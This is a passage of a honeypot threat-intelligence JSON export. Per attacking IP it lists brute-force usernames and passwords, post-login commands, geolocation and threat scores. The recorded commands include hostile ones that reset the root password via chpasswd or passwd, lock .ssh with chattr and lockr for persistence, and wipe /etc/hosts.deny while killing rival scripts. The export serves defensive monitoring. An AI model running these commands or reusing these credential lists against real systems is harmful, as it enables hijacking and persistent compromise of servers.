        "first_seen_30d": "2026-03-12T20:48:28.916000+00:00",
        "last_seen_30d": "2026-03-12T21:20:51.651000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 175,
        "Suricata": 76
      }
    },
    "59.99.177.131": {
      "attack_count": 173,
      "first_seen": "2026-03-28T00:52:40.500Z",
      "last_seen": "2026-03-28T02:58:20.146Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!Qaz12345",
        "123369",
        "20240629",
        "2303",
        "3245gs5662d34",
        "345gs5662d34",
        "5150",
        "ASDFGHJKL",
        "Abc123$%^",
        "Asdf123!@#",
        "Enterprise",
        "Salam@123",
        "Server@2024",
        "Uc123456",
        "cacti2026",
        "express",
        "fener2025",
        "hunter123",
        "lin123456",
        "pacman"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:2KHGa6UyLVCb\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 33.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 240,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T00:52:40.500000+00:00",
        "last_seen_30d": "2026-03-28T02:59:25.952000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 173,
        "Suricata": 67
      }
    },
    "103.189.234.85": {
      "attack_count": 128,
      "first_seen": "2026-03-02T18:04:33.194Z",
      "last_seen": "2026-03-02T18:38:29.337Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1"
      ],
      "passwords_attempted": [
        "1233218613f",
        "!QAZ2wsx123",
        "123456Qq",
        "1q2w3e4r@",
        "3245gs5662d34",
        "345gs5662d34",
        "Linux123!@#",
        "P@ssw0rd12345",
        "aa123321",
        "alamakota",
        "mike",
        "root@123#",
        "server2024"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:EAUA4wXmfSub\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 163,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T18:04:33.194000+00:00",
        "last_seen_30d": "2026-03-02T18:39:31.329000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 128,
        "Suricata": 35
      }
    },
    "103.210.21.178": {
      "attack_count": 124,
      "first_seen": "2026-03-22T12:01:07.037Z",
      "last_seen": "2026-03-22T12:24:06.709Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "web",
        "345gs5662d34",
        "cisco",
        "cyber",
        "gianluca",
        "keycloak",
        "lek",
        "rdpuser",
        "sg",
        "software",
        "ttt",
        "webappuser"
      ],
      "passwords_attempted": [
        "123456",
        "1234",
        "12345",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Sg123",
        "Ttt123!",
        "cisco",
        "password",
        "software"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\nSfdt66sYhFiQ\\nSfdt66sYhFiQ\\n\"|passwd",
        "echo -e \"123456\\nSfdt66sYhFiQ\\nSfdt66sYhFiQ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T12:01:07.037000+00:00",
        "last_seen_30d": "2026-03-22T12:25:10.753000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 31
      }
    },
    "101.36.123.8": {
      "attack_count": 119,
      "first_seen": "2026-03-14T09:19:28.510Z",
      "last_seen": "2026-03-14T09:39:41.855Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "zhenshan",
        "345gs5662d34",
        "amir",
        "dario",
        "it",
        "mslee21",
        "root",
        "sabrina",
        "userdeploy",
        "vbox",
        "zhanghang"
      ],
      "passwords_attempted": [
        "12345",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Mslee21123!",
        "amir",
        "it2025",
        "pass",
        "rootpass",
        "userdeploy1234",
        "zhenshan123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"zhenshan123\\nsPBEdmIkLGWC\\nsPBEdmIkLGWC\\n\"|passwd",
        "echo -e \"zhenshan123\\nsPBEdmIkLGWC\\nsPBEdmIkLGWC\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T09:19:28.510000+00:00",
        "last_seen_30d": "2026-03-14T09:40:46.328000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "220.134.59.136": {
      "attack_count": 118,
      "first_seen": "2026-03-04T00:50:21.055Z",
      "last_seen": "2026-03-04T01:17:50.470Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "A12345",
        "Letmein123",
        "ROOT@123",
        "a12",
        "a86365210",
        "aa1000",
        "aa2633",
        "chen123456",
        "qwe123.",
        "root123$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:vv6pR4AwF8i9\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T00:50:21.055000+00:00",
        "last_seen_30d": "2026-03-04T01:18:54.489000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 29
      }
    },
    "219.92.8.18": {
      "attack_count": 113,
      "first_seen": "2026-03-30T10:54:59.917Z",
      "last_seen": "2026-03-30T11:34:16.392Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!Q@W#E$R%T^Y&U*I(O)P",
        "1234qwer@",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa112233.",
        "Abc123!!",
        "Cisc0123",
        "Cw123456",
        "Lenovo1234",
        "aA123123",
        "www.v03.cn"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:b1mEyavMYFhq\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 4788,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 33.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 140,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T10:54:59.917000+00:00",
        "last_seen_30d": "2026-03-30T11:35:19.194000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 113,
        "Suricata": 27
      }
    },
    "198.55.102.45": {
      "attack_count": 108,
      "first_seen": "2026-03-08T13:28:13.302Z",
      "last_seen": "2026-03-08T13:57:49.000Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root",
        "astra",
        "kevin",
        "matic",
        "portal",
        "sg",
        "wpuser",
        "zzy"
      ],
      "passwords_attempted": [
        "12345",
        "12345678",
        "1234",
        "3245gs5662d34",
        "Dc123456",
        "Wpuser123",
        "abcd1234!",
        "sg123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:q92117Dz3sBf\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Ireland",
      "country_code": "IE",
      "city": "Dublin",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 8.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 133,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T13:28:13.302000+00:00",
        "last_seen_30d": "2026-03-08T13:58:52.504000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 108,
        "Suricata": 25
      }
    },
    "5.133.122.228": {
      "attack_count": 104,
      "first_seen": "2026-03-25T22:33:19.246Z",
      "last_seen": "2026-03-26T16:01:58.733Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "whale",
        "345gs5662d34",
        "conftest",
        "dapeng",
        "deployuser",
        "knex",
        "smbuser",
        "tang"
      ],
      "passwords_attempted": [
        "111111",
        "3245gs5662d34",
        "345gs5662d34",
        "dapeng1234",
        "deployuser1234",
        "knex123",
        "smbuser123!",
        "tang"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"111111\\nrsCN8b9PPyqK\\nrsCN8b9PPyqK\\n\"|passwd",
        "echo -e \"111111\\nrsCN8b9PPyqK\\nrsCN8b9PPyqK\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 29.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 130,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T22:33:19.246000+00:00",
        "last_seen_30d": "2026-03-26T16:03:07.234000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 104,
        "Suricata": 26
      }
    },
    "104.248.157.45": {
      "attack_count": 97,
      "first_seen": "2026-03-03T05:30:14.499Z",
      "last_seen": "2026-03-03T05:44:24.603Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "postgres",
        "server",
        "testuser",
        "user",
        "vps"
      ],
      "passwords_attempted": [
        "111111",
        "123",
        "321",
        "oracle",
        "pass",
        "password",
        "postgres",
        "qwerty",
        "root",
        "root123",
        "root321",
        "server",
        "testuser",
        "user",
        "vps"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 136,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T05:30:14.499000+00:00",
        "last_seen_30d": "2026-03-03T05:54:32.843000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 97,
        "Suricata": 39
      }
    },
    "101.47.51.22": {
      "attack_count": 94,
      "first_seen": "2026-03-26T07:54:39.306Z",
      "last_seen": "2026-03-26T07:58:17.810Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "ovirt",
        "345gs5662d34",
        "ROOTUSER",
        "christine",
        "orchestrator",
        "questdb"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "CHANGEME123",
        "admin",
        "christine",
        "ovirt",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"ovirt\\npmucSobtc2cD\\npmucSobtc2cD\\n\"|passwd",
        "echo -e \"ovirt\\npmucSobtc2cD\\npmucSobtc2cD\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 109,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T07:54:39.306000+00:00",
        "last_seen_30d": "2026-03-26T07:59:19.257000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 15
      }
    },
    "206.189.31.169": {
      "attack_count": 90,
      "first_seen": "2026-03-16T02:06:27.603Z",
      "last_seen": "2026-03-16T02:24:18.266Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "111111",
        "123123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "Password1",
        "admin",
        "admin123",
        "default",
        "letmein",
        "passw0rd",
        "password",
        "qwerty",
        "toor"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 129,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T02:06:27.603000+00:00",
        "last_seen_30d": "2026-03-16T02:25:22.307000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 90,
        "Suricata": 39
      }
    },
    "159.223.8.62": {
      "attack_count": 83,
      "first_seen": "2026-03-19T13:05:51.870Z",
      "last_seen": "2026-03-19T13:32:27.618Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "canal",
        "downloader",
        "pablo",
        "passbolt"
      ],
      "passwords_attempted": [
        "12345",
        "12345678",
        "passbolt"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345\\nvROGMP8drDjC\\nvROGMP8drDjC\\n\"|passwd",
        "echo -e \"12345\\nvROGMP8drDjC\\nvROGMP8drDjC\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 19.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 98,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T13:05:51.870000+00:00",
        "last_seen_30d": "2026-03-19T13:33:35.129000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 83,
        "Suricata": 15
      }
    },
    "185.213.175.140": {
      "attack_count": 73,
      "first_seen": "2026-03-12T12:19:22.541Z",
      "last_seen": "2026-03-12T12:37:08.257Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "n8n",
        "345gs5662d34",
        "admin",
        "alex",
        "cvs",
        "dolphinscheduler",
        "felix",
        "odoo"
      ],
      "passwords_attempted": [
        "1111",
        "123",
        "12345",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "@Admin123",
        "cloud@123",
        "dolphinschedulerpass",
        "n8n",
        "odoo@2025",
        "r00t123",
        "zxcvbnm"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": null,
      "asn": 41608,
      "as_org": "NextGenWebs, S.L.",
      "threat_score": 12.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 102,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T12:19:22.541000+00:00",
        "last_seen_30d": "2026-03-12T12:38:14.587000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 73,
        "Suricata": 29
      }
    },
    "66.167.169.170": {
      "attack_count": 50,
      "first_seen": "2026-03-19T02:16:16.265Z",
      "last_seen": "2026-03-19T02:21:40.328Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
